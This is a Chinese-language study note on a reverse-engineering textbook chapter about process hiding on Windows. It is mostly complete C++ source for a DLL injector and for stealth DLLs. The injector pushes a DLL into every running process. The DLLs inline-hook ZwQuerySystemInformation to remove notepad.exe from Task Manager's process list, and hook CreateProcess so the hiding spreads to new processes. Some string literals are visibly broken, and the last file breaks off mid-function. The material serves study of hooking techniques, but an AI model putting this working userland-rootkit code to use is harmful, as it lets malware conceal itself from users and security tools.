• 逆向工程核心原理——第三十三章


    进程隐藏

    本章实验环境为windows7 x86

    隐藏进程之前,我们首先要对系统的API有一个大致的了解,在书中就运用到了ZwQuerySystemInformation 这个API,这个API的作用则是获取运行中的所有进程信息。

    而基本的进程查看软件都是使用的这个API(proceXP和任务管理器),所以我们对这个API进行钩取和修改就可以做到让proceXP和任务管理器上的notepad进程消失。

    练习1:

    首先我们打开notepad和任务管理器:

    可以清楚的看到notepad.exe的进程信息。

    现在我们启动事先准备好的exe文件将stealth.dll注入进notepad.exe钩取其ZwQuerySystemInformation()API:

    可以看到,notepad.exe进程消失了,说明隐藏进程成功了。

    但是如果我们重新打开任务管理器的话:

    发现notepad进程又出现了,这是因为,任务管理器打开时,会重新调用ZwQuerySystemInformation(API),我们钩取虽然成功了,但是只能钩取一次,当这个API下次打开时,就会失效。

    为了避免只能钩取一次的情况,所以我们需要进行全局API钩取。

    在进行全局API钩取时,我们首先要将stealth2.dll放到c:windowssystem32 这个文件夹。

    这里上面显示failed但是notepa是成功隐藏了的,然后我们在重新打开任务管理器:

    这样我们就成功完成了全局钩取API

    代码:

    HideProc.cpp

    #include "windows.h"  
    #include "stdio.h"  
    #include "tlhelp32.h"  
    #include "tchar.h"  
    
    typedef void(*PFN_SetProcName)(LPCTSTR szProcName);
    enum { INJECTION_MODE = 0, EJECTION_MODE };
    
    BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
    {
    	TOKEN_PRIVILEGES tp;
    	HANDLE hToken;
    	LUID luid;
    
    	if (!OpenProcessToken(GetCurrentProcess(),
    		TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
    		&hToken))
    	{
    		printf("OpenProcessToken error: %u
    ", GetLastError());
    		return FALSE;
    	}
    
    	if (!LookupPrivilegeValue(NULL,            // lookup privilege on local system  
    		lpszPrivilege,   // privilege to lookup   
    		&luid))        // receives LUID of privilege  
    	{
    		printf("LookupPrivilegeValue error: %u
    ", GetLastError());
    		return FALSE;
    	}
    
    	tp.PrivilegeCount = 1;
    	tp.Privileges[0].Luid = luid;
    	if (bEnablePrivilege)
    		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    	else
    		tp.Privileges[0].Attributes = 0;
    
    	// Enable the privilege or disable all privileges.  
    	if (!AdjustTokenPrivileges(hToken,
    		FALSE,
    		&tp,
    		sizeof(TOKEN_PRIVILEGES),
    		(PTOKEN_PRIVILEGES)NULL,
    		(PDWORD)NULL))
    	{
    		printf("AdjustTokenPrivileges error: %u
    ", GetLastError());
    		return FALSE;
    	}
    
    	if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
    	{
    		printf("The token does not have the specified privilege. 
    ");
    		return FALSE;
    	}
    
    	return TRUE;
    }
    
    BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
    {
    	HANDLE                  hProcess, hThread;
    	LPVOID                  pRemoteBuf;
    	DWORD                   dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
    	LPTHREAD_START_ROUTINE  pThreadProc;
    
    	if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
    	{
    		printf("OpenProcess(%d) failed!!!
    ", dwPID);
    		return FALSE;
    	}
    
    	pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
    		MEM_COMMIT, PAGE_READWRITE);
    
    	WriteProcessMemory(hProcess, pRemoteBuf,
    		(LPVOID)szDllPath, dwBufSize, NULL);
    
    	pThreadProc = (LPTHREAD_START_ROUTINE)
    		GetProcAddress(GetModuleHandle(L"kernel32.dll"),
    		"LoadLibraryW");
    	hThread = CreateRemoteThread(hProcess, NULL, 0,
    		pThreadProc, pRemoteBuf, 0, NULL);
    	WaitForSingleObject(hThread, INFINITE);
    
    	VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
    
    	CloseHandle(hThread);
    	CloseHandle(hProcess);
    
    	return TRUE;
    }
    
    BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath)
    {
    	BOOL                    bMore = FALSE, bFound = FALSE;
    	HANDLE                  hSnapshot, hProcess, hThread;
    	MODULEENTRY32           me = { sizeof(me) };
    	LPTHREAD_START_ROUTINE  pThreadProc;
    
    	if (INVALID_HANDLE_VALUE ==
    		(hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)))
    		return FALSE;
    
    	bMore = Module32First(hSnapshot, &me);
    	for (; bMore; bMore = Module32Next(hSnapshot, &me))
    	{
    		if (!_tcsicmp(me.szModule, szDllPath) ||
    			!_tcsicmp(me.szExePath, szDllPath))
    		{
    			bFound = TRUE;
    			break;
    		}
    	}
    
    	if (!bFound)
    	{
    		CloseHandle(hSnapshot);
    		return FALSE;
    	}
    
    	if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
    	{
    		CloseHandle(hSnapshot);
    		return FALSE;
    	}
    
    	pThreadProc = (LPTHREAD_START_ROUTINE)
    		GetProcAddress(GetModuleHandle(L"kernel32.dll"),
    		"FreeLibrary");
    	hThread = CreateRemoteThread(hProcess, NULL, 0,
    		pThreadProc, me.modBaseAddr, 0, NULL);
    	WaitForSingleObject(hThread, INFINITE);
    
    	CloseHandle(hThread);
    	CloseHandle(hProcess);
    	CloseHandle(hSnapshot);
    
    	return TRUE;
    }
    
    BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
    {
    	DWORD                   dwPID = 0;
    	HANDLE                  hSnapShot = INVALID_HANDLE_VALUE;
    	PROCESSENTRY32          pe;
    
    	// Get the snapshot of the system  
    	pe.dwSize = sizeof(PROCESSENTRY32);
    	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
    
    	// find process  
    	Process32First(hSnapShot, &pe);
    	do
    	{
    		dwPID = pe.th32ProcessID;
    
    		// 鉴于系统安全性的考虑  
    		// 对于PID小于100的系统进程  
    		// 不执行DLL注入操作  
    		if (dwPID < 100)
    			continue;
    
    		if (nMode == INJECTION_MODE)
    			InjectDll(dwPID, szDllPath);
    		else
    			EjectDll(dwPID, szDllPath);
    	} while (Process32Next(hSnapShot, &pe));
    
    	CloseHandle(hSnapShot);
    
    	return TRUE;
    }
    
    int _tmain(int argc, TCHAR* argv[])
    {
    	int                     nMode = INJECTION_MODE;
    	HMODULE                 hLib = NULL;
    	PFN_SetProcName         SetProcName = NULL;
    
    	if (argc != 4)
    	{
    		printf("
     Usage  : HideProc.exe <-hide|-show> "
    			"<process name> <dll path>
    
    ");
    		return 1;
    	}
    
    	// change privilege  
    	SetPrivilege(SE_DEBUG_NAME, TRUE);
    
    	// load library  
    	hLib = LoadLibrary(argv[3]);
    
    	// set process name to hide  
    	SetProcName = (PFN_SetProcName)GetProcAddress(hLib, "SetProcName");
    	SetProcName(argv[2]);
    
    	// Inject(Eject) Dll to all process  
    	if (!_tcsicmp(argv[1], L"-show"))
    		nMode = EJECTION_MODE;
    
    	InjectAllProcess(nMode, argv[3]);
    
    	// free library  
    	FreeLibrary(hLib);
    
    	return 0;
    }
    

    stealth.cpp

    #include "windows.h"  
    #include "tchar.h"  
    
    #define STATUS_SUCCESS                      (0x00000000L)   
    
    typedef LONG NTSTATUS;
    
    typedef enum _SYSTEM_INFORMATION_CLASS {
        SystemBasicInformation = 0,
        SystemPerformanceInformation = 2,
        SystemTimeOfDayInformation = 3,
        SystemProcessInformation = 5,
        SystemProcessorPerformanceInformation = 8,
        SystemInterruptInformation = 23,
        SystemExceptionInformation = 33,
        SystemRegistryQuotaInformation = 37,
        SystemLookasideInformation = 45
    } SYSTEM_INFORMATION_CLASS;
    
    typedef struct _SYSTEM_PROCESS_INFORMATION {
        ULONG NextEntryOffset;
        ULONG NumberOfThreads;
        BYTE Reserved1[48];
        PVOID Reserved2[3];
        HANDLE UniqueProcessId;
        PVOID Reserved3;
        ULONG HandleCount;
        BYTE Reserved4[4];
        PVOID Reserved5[11];
        SIZE_T PeakPagefileUsage;
        SIZE_T PrivatePageCount;
        LARGE_INTEGER Reserved6[6];
    } SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
    
    typedef NTSTATUS(WINAPI* PFZWQUERYSYSTEMINFORMATION)
    (SYSTEM_INFORMATION_CLASS SystemInformationClass,
        PVOID SystemInformation,
        ULONG SystemInformationLength,
        PULONG ReturnLength);
    
    #define DEF_NTDLL                       ("ntdll.dll")  
    #define DEF_ZWQUERYSYSTEMINFORMATION    ("ZwQuerySystemInformation")  
    
    
    // global variable (in sharing memory)  
    #pragma comment(linker, "/SECTION:.SHARE,RWS")  
    #pragma data_seg(".SHARE")  
    TCHAR g_szProcName[MAX_PATH] = { 0, };
    #pragma data_seg()  
    
    // global variable  
    BYTE g_pOrgBytes[5] = { 0, };
    
    
    BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
    {
        FARPROC pfnOrg;
        DWORD dwOldProtect, dwAddress;
        BYTE pBuf[5] = { 0xE9, 0, };
        PBYTE pByte;
    
        // 获取要钩取的API地址  
        pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
        pByte = (PBYTE)pfnOrg;
    
        // 若已经被钩取则返回FALSE  
        if (pByte[0] == 0xE9)
            return FALSE;
    
        // 向内存添加写属性  
        VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    
        // 备份原有代码(5字节)  
        memcpy(pOrgBytes, pfnOrg, 5);
    
        // 计算JMP地址 (E9 XXXX)  
        // => XXXX = pfnNew - pfnOrg - 5  
        dwAddress = (DWORD)pfnNew - (DWORD)pfnOrg - 5;
        memcpy(&pBuf[1], &dwAddress, 4);
    
        // Hook  
        memcpy(pfnOrg, pBuf, 5);
    
        // 恢复内存属性  
        VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);
    
        return TRUE;
    }
    
    
    BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
    {
        FARPROC pFunc;
        DWORD dwOldProtect;
        PBYTE pByte;
    
        // 获取API地址  
        pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
        pByte = (PBYTE)pFunc;
    
        // 若已经脱钩则返回FALSE  
        if (pByte[0] != 0xE9)
            return FALSE;
    
        // 向内存添加写属性  
        VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    
        // Unhook  
        memcpy(pFunc, pOrgBytes, 5);
    
        // 恢复内存属性  
        VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
    
        return TRUE;
    }
    
    
    NTSTATUS WINAPI NewZwQuerySystemInformation(
        SYSTEM_INFORMATION_CLASS SystemInformationClass,
        PVOID SystemInformation,
        ULONG SystemInformationLength,
        PULONG ReturnLength)
    {
        NTSTATUS status;
        FARPROC pFunc;
        PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
        char szProcName[MAX_PATH] = { 0, };
    
        // 开始前先脱钩  
        unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION, g_pOrgBytes);
    
        // 调用原始API  
        pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL),
            DEF_ZWQUERYSYSTEMINFORMATION);
        status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
            (SystemInformationClass, SystemInformation,
                SystemInformationLength, ReturnLength);
    
        if (status != STATUS_SUCCESS)
            goto __NTQUERYSYSTEMINFORMATION_END;
    
        // 针对SystemProcessInformation类型操作  
        if (SystemInformationClass == SystemProcessInformation)
        {
            // SYSTEM_PROCESS_INFORMATION类型转换  
            // pCur是单向链表的头  
            pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
    
            while (TRUE)
            {
                // 比较进程名称  
                // g_szProcName为要隐藏的进程名称  
                // (=> SetProcName()设置)  
                if (pCur->Reserved2[1] != NULL)
                {
                    if (!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
                    {
                        // 从链表中删除隐藏进程的节点  
                        if (pCur->NextEntryOffset == 0)
                            pPrev->NextEntryOffset = 0;
                        else
                            pPrev->NextEntryOffset += pCur->NextEntryOffset;
                    }
                    else
                        pPrev = pCur;
                }
    
                if (pCur->NextEntryOffset == 0)
                    break;
    
                // 链表的下一项  
                pCur = (PSYSTEM_PROCESS_INFORMATION)
                    ((ULONG)pCur + pCur->NextEntryOffset);
            }
        }
    
    __NTQUERYSYSTEMINFORMATION_END:
    
        // 函数终止前再次执行API钩取操作,为下次调用准备  
        hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
            (PROC)NewZwQuerySystemInformation, g_pOrgBytes);
    
        return status;
    }
    
    
    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
    {
        char            szCurProc[MAX_PATH] = { 0, };
        char* p = NULL;
    
        // #1. 异常处理  
        // 若当前进程为HookProc.exe则终止,不进行钩取操作  
        GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
        p = strrchr(szCurProc, '\');
        if ((p != NULL) && !_stricmp(p + 1, "HideProc.exe"))
            return TRUE;
    
        switch (fdwReason)
        {
            // #2. API Hooking  
        case DLL_PROCESS_ATTACH:
            hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
                (PROC)NewZwQuerySystemInformation, g_pOrgBytes);
            break;
    
            // #3. API Unhooking   
        case DLL_PROCESS_DETACH:
            unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
                g_pOrgBytes);
            break;
        }
    
        return TRUE;
    }
    
    
    #ifdef __cplusplus  
    extern "C" {
    #endif  
        __declspec(dllexport) void SetProcName(LPCTSTR szProcName)
        {
            _tcscpy_s(g_szProcName, szProcName);
        }
    #ifdef __cplusplus  
    }
    #endif
    

    HideProc2.cpp

    #include "windows.h"  
    #include "stdio.h"  
    #include "tlhelp32.h"  
    #include "tchar.h"  
    
    enum { INJECTION_MODE = 0, EJECTION_MODE };
    
    BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
    {
        TOKEN_PRIVILEGES tp;
        HANDLE hToken;
        LUID luid;
    
        if (!OpenProcessToken(GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
            &hToken))
        {
            printf("OpenProcessToken error: %u
    ", GetLastError());
            return FALSE;
        }
    
        if (!LookupPrivilegeValue(NULL,            // lookup privilege on local system  
            lpszPrivilege,   // privilege to lookup   
            &luid))         // receives LUID of privilege  
        {
            printf("LookupPrivilegeValue error: %u
    ", GetLastError());
            return FALSE;
        }
    
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        if (bEnablePrivilege)
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        else
            tp.Privileges[0].Attributes = 0;
    
        // Enable the privilege or disable all privileges.  
        if (!AdjustTokenPrivileges(hToken,
            FALSE,
            &tp,
            sizeof(TOKEN_PRIVILEGES),
            (PTOKEN_PRIVILEGES)NULL,
            (PDWORD)NULL))
        {
            printf("AdjustTokenPrivileges error: %u
    ", GetLastError());
            return FALSE;
        }
    
        if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
        {
            printf("The token does not have the specified privilege. 
    ");
            return FALSE;
        }
    
        return TRUE;
    }
    
    BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
    {
        HANDLE                  hProcess, hThread;
        LPVOID                  pRemoteBuf;
        DWORD                   dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
        LPTHREAD_START_ROUTINE  pThreadProc;
    
        if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
        {
            printf("OpenProcess(%d) failed!!!
    ", dwPID);
            return FALSE;
        }
    
        pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
            MEM_COMMIT, PAGE_READWRITE);
    
        WriteProcessMemory(hProcess, pRemoteBuf,
            (LPVOID)szDllPath, dwBufSize, NULL);
    
        pThreadProc = (LPTHREAD_START_ROUTINE)
            GetProcAddress(GetModuleHandle(L"kernel32.dll"),
                "LoadLibraryW");
        hThread = CreateRemoteThread(hProcess, NULL, 0,
            pThreadProc, pRemoteBuf, 0, NULL);
        WaitForSingleObject(hThread, INFINITE);
    
        VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
    
        CloseHandle(hThread);
        CloseHandle(hProcess);
    
        return TRUE;
    }
    
    BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath)
    {
        BOOL                    bMore = FALSE, bFound = FALSE;
        HANDLE                  hSnapshot, hProcess, hThread;
        MODULEENTRY32           me = { sizeof(me) };
        LPTHREAD_START_ROUTINE  pThreadProc;
    
        if (INVALID_HANDLE_VALUE ==
            (hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)))
            return FALSE;
    
        bMore = Module32First(hSnapshot, &me);
        for (; bMore; bMore = Module32Next(hSnapshot, &me))
        {
            if (!_tcsicmp(me.szModule, szDllPath) ||
                !_tcsicmp(me.szExePath, szDllPath))
            {
                bFound = TRUE;
                break;
            }
        }
    
        if (!bFound)
        {
            CloseHandle(hSnapshot);
            return FALSE;
        }
    
        if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
        {
            printf("OpenProcess(%d) failed!!!
    ", dwPID);
            CloseHandle(hSnapshot);
            return FALSE;
        }
    
        pThreadProc = (LPTHREAD_START_ROUTINE)
            GetProcAddress(GetModuleHandle(L"kernel32.dll"),
                "FreeLibrary");
        hThread = CreateRemoteThread(hProcess, NULL, 0,
            pThreadProc, me.modBaseAddr, 0, NULL);
        WaitForSingleObject(hThread, INFINITE);
    
        CloseHandle(hThread);
        CloseHandle(hProcess);
        CloseHandle(hSnapshot);
    
        return TRUE;
    }
    
    BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath)
    {
        DWORD                   dwPID = 0;
        HANDLE                  hSnapShot = INVALID_HANDLE_VALUE;
        PROCESSENTRY32          pe;
    
        // Get the snapshot of the system  
        pe.dwSize = sizeof(PROCESSENTRY32);
        hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
    
        // find process  
        Process32First(hSnapShot, &pe);
        do
        {
            dwPID = pe.th32ProcessID;
    
    
            if (dwPID < 100)
                continue;
    
            if (nMode == INJECTION_MODE)
                InjectDll(dwPID, szDllPath);
            else
                EjectDll(dwPID, szDllPath);
        } while (Process32Next(hSnapShot, &pe));
    
        CloseHandle(hSnapShot);
    
        return TRUE;
    }
    
    int _tmain(int argc, TCHAR* argv[])
    {
        int nMode = INJECTION_MODE;
    
        if (argc != 3)
        {
            printf("
     Usage  : HideProc2.exe <-hide|-show> <dll path>
    
    ");
            return 1;
        }
    
        // change privilege  
        SetPrivilege(SE_DEBUG_NAME, TRUE);
    
        // Inject(Eject) Dll to all process  
        if (!_tcsicmp(argv[1], L"-show"))
            nMode = EJECTION_MODE;
    
        InjectAllProcess(nMode, argv[2]);
    
        return 0;
    }
    

    Stealth2.cpp

    #include "windows.h"  
    #include "stdio.h"  
    #include "tchar.h"  
    
    #define STR_MODULE_NAME                 (L"stealth2.dll")  
    #define STR_HIDE_PROCESS_NAME           (L"notepad.exe")  
    #define STATUS_SUCCESS                  (0x00000000L)   
    
    typedef LONG NTSTATUS;
    
    typedef enum _SYSTEM_INFORMATION_CLASS {
        SystemBasicInformation = 0,
        SystemPerformanceInformation = 2,
        SystemTimeOfDayInformation = 3,
        SystemProcessInformation = 5,
        SystemProcessorPerformanceInformation = 8,
        SystemInterruptInformation = 23,
        SystemExceptionInformation = 33,
        SystemRegistryQuotaInformation = 37,
        SystemLookasideInformation = 45
    } SYSTEM_INFORMATION_CLASS;
    
    typedef struct _SYSTEM_PROCESS_INFORMATION {
        ULONG NextEntryOffset;
        BYTE Reserved1[52];
        PVOID Reserved2[3];
        HANDLE UniqueProcessId;
        PVOID Reserved3;
        ULONG HandleCount;
        BYTE Reserved4[4];
        PVOID Reserved5[11];
        SIZE_T PeakPagefileUsage;
        SIZE_T PrivatePageCount;
        LARGE_INTEGER Reserved6[6];
    } SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
    
    typedef NTSTATUS(WINAPI* PFZWQUERYSYSTEMINFORMATION)(
        SYSTEM_INFORMATION_CLASS SystemInformationClass,
        PVOID SystemInformation,
        ULONG SystemInformationLength,
        PULONG ReturnLength);
    
    typedef BOOL(WINAPI* PFCREATEPROCESSA)(
        LPCTSTR lpApplicationName,
        LPTSTR lpCommandLine,
        LPSECURITY_ATTRIBUTES lpProcessAttributes,
        LPSECURITY_ATTRIBUTES lpThreadAttributes,
        BOOL bInheritHandles,
        DWORD dwCreationFlags,
        LPVOID lpEnvironment,
        LPCTSTR lpCurrentDirectory,
        LPSTARTUPINFO lpStartupInfo,
        LPPROCESS_INFORMATION lpProcessInformation
        );
    
    typedef BOOL(WINAPI* PFCREATEPROCESSW)(
        LPCTSTR lpApplicationName,
        LPTSTR lpCommandLine,
        LPSECURITY_ATTRIBUTES lpProcessAttributes,
        LPSECURITY_ATTRIBUTES lpThreadAttributes,
        BOOL bInheritHandles,
        DWORD dwCreationFlags,
        LPVOID lpEnvironment,
        LPCTSTR lpCurrentDirectory,
        LPSTARTUPINFO lpStartupInfo,
        LPPROCESS_INFORMATION lpProcessInformation
        );
    
    BYTE g_pOrgCPA[5] = { 0, };
    BYTE g_pOrgCPW[5] = { 0, };
    BYTE g_pOrgZwQSI[5] = { 0, };
    
    BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
    {
        FARPROC pFunc;
        DWORD dwOldProtect, dwAddress;
        BYTE pBuf[5] = { 0xE9, 0, };
        PBYTE pByte;
    
        pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
        pByte = (PBYTE)pFunc;
        if (pByte[0] == 0xE9)
            return FALSE;
    
        VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    
        memcpy(pOrgBytes, pFunc, 5);
    
        dwAddress = (DWORD)pfnNew - (DWORD)pFunc - 5;
        memcpy(&pBuf[1], &dwAddress, 4);
    
        memcpy(pFunc, pBuf, 5);
    
        VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
    
        return TRUE;
    }
    
    BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
    {
        FARPROC pFunc;
        DWORD dwOldProtect;
        PBYTE pByte;
    
        pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
        pByte = (PBYTE)pFunc;
        if (pByte[0] != 0xE9)
            return FALSE;
    
        VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    
        memcpy(pFunc, pOrgBytes, 5);
    
        VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
    
        return TRUE;
    }
    
    BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
    {
        TOKEN_PRIVILEGES tp;
        HANDLE hToken;
        LUID luid;
    
        if (!OpenProcessToken(GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
            &hToken))
        {
            printf("OpenProcessToken error: %u
    ", GetLastError());
            return FALSE;
        }
    
        if (!LookupPrivilegeValue(NULL,             // lookup privilege on local system  
            lpszPrivilege,    // privilege to lookup   
            &luid))          // receives LUID of privilege  
        {
            printf("LookupPrivilegeValue error: %u
    ", GetLastError());
            return FALSE;
        }
    
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        if (bEnablePrivilege)
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        else
            tp.Privileges[0].Attributes = 0;
    
        // Enable the privilege or disable all privileges.  
        if (!AdjustTokenPrivileges(hToken,
            FALSE,
            &tp,
            sizeof(TOKEN_PRIVILEGES),
            (PTOKEN_PRIVILEGES)NULL,
            (PDWORD)NULL))
        {
            printf("AdjustTokenPrivileges error: %u
    ", GetLastError());
            return FALSE;
        }
    
        if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
        {
            printf("The token does not have the specified privilege. 
    ");
            return FALSE;
        }
    
        return TRUE;
    }
    
    BOOL InjectDll2(HANDLE hProcess, LPCTSTR szDllName)
    {
        HANDLE hThread;
        LPVOID pRemoteBuf;
        DWORD dwBufSize = (DWORD)(_tcslen(szDllName) + 1) * sizeof(TCHAR);
        FARPROC pThreadProc;
    
        pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
            MEM_COMMIT, PAGE_READWRITE);
        if (pRemoteBuf == NULL)
            return FALSE;
    
        WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllName,
            dwBufSize, NULL);
    
        pThreadProc = GetProcAddress(GetModuleHandleA("kernel32.dll"),
            "LoadLibraryW");
        hThread = CreateRemoteThread(hProcess, NULL, 0,
            (LPTHREAD_START_ROUTINE)pThreadProc,
            pRemoteBuf, 0, NULL);
        WaitForSingleObject(hThread, INFINITE);
    
        VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
    
        CloseHandle(hThread);
    
        return TRUE;
    }
    
    NTSTATUS WINAPI NewZwQuerySystemInformation(
        SYSTEM_INFORMATION_CLASS SystemInformationClass,
        PVOID SystemInformation,
        ULONG SystemInformationLength,
        PULONG ReturnLength)
    {
        NTSTATUS status;
        FARPROC pFunc;
        PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
        char szProcName[MAX_PATH] = { 0, };
    
        unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgZwQSI);
    
        pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"),
            "ZwQuerySystemInformation");
        status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
            (SystemInformationClass, SystemInformation,
                SystemInformationLength, ReturnLength);
    
        if (status != STATUS_SUCCESS)
            goto __NTQUERYSYSTEMINFORMATION_END;
    
        if (SystemInformationClass == SystemProcessInformation)
        {
            pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
    
            while (TRUE)
            {
                if (pCur->Reserved2[1] != NULL)
                {
                    if (!_tcsicmp((PWSTR)pCur->Reserved2[1], STR_HIDE_PROCESS_NAME))
                    {
                        if (pCur->NextEntryOffset == 0)
                            pPrev->NextEntryOffset = 0;
                        else
                            pPrev->NextEntryOffset += pCur->NextEntryOffset;
                    }
                    else
                        pPrev = pCur;
                }
    
                if (pCur->NextEntryOffset == 0)
                    break;
    
                pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);
            }
        }
    
    __NTQUERYSYSTEMINFORMATION_END:
    
        hook_by_code("ntdll.dll", "ZwQuerySystemInformation",
            (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);
    
        return status;
    }
    
    BOOL WINAPI NewCreateProcessA(
        LPCTSTR lpApplicationName,
        LPTSTR lpCommandLine,
        LPSECURITY_ATTRIBUTES lpProcessAttributes,
        LPSECURITY_ATTRIBUTES lpThreadAttributes,
        BOOL bInheritHandles,
        DWORD dwCreationFlags,
        LPVOID lpEnvironment,
        LPCTSTR lpCurrentDirectory,
        LPSTARTUPINFO lpStartupInfo,
        LPPROCESS_INFORMATION lpProcessInformation
    )
    {
        BOOL bRet;
        FARPROC pFunc;
    
    
        unhook_by_code("kernel32.dll", "CreateProcessA", g_pOrgCPA);
    
    
        pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
        bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName,
            lpCommandLine,
            lpProcessAttributes,
            lpThreadAttributes,
            bInheritHandles,
            dwCreationFlags,
            lpEnvironment,
            lpCurrentDirectory,
            lpStartupInfo,
            lpProcessInformation);
    
    
        if (bRet)
            InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
    
    
        hook_by_code("kernel32.dll", "CreateProcessA",
            (PROC)NewCreateProcessA, g_pOrgCPA);
    
        return bRet;
    }
    
    BOOL WINAPI NewCreateProcessW(
        LPCTSTR lpApplicationName,
        LPTSTR lpCommandLine,
        LPSECURITY_ATTRIBUTES lpProcessAttributes,
        LPSECURITY_ATTRIBUTES lpThreadAttributes,
        BOOL bInheritHandles,
        DWORD dwCreationFlags,
        LPVOID lpEnvironment,
        LPCTSTR lpCurrentDirectory,
        LPSTARTUPINFO lpStartupInfo,
        LPPROCESS_INFORMATION lpProcessInformation
    )
    {
        BOOL bRet;
        FARPROC pFunc;
    
    
        unhook_by_code("kernel32.dll", "CreateProcessW", g_pOrgCPW);
    
    
        pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW");
        bRet = ((PFCREATEPROCESSW)pFunc)(lpApplicationName,
            lpCommandLine,
            lpProcessAttributes,
            lpThreadAttributes,
            bInheritHandles,
            dwCreationFlags,
            lpEnvironment,
            lpCurrentDirectory,
            lpStartupInfo,
            lpProcessInformation);
    
    
        if (bRet)
            InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
    
    
        hook_by_code("kernel32.dll", "CreateProcessW",
            (PROC)NewCreateProcessW, g_pOrgCPW);
    
        return bRet;
    }
    
    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
    {
        char            szCurProc[MAX_PATH] = { 0, };
        char* p = NULL;
    
    
        GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
        p = strrchr(szCurProc, '\');
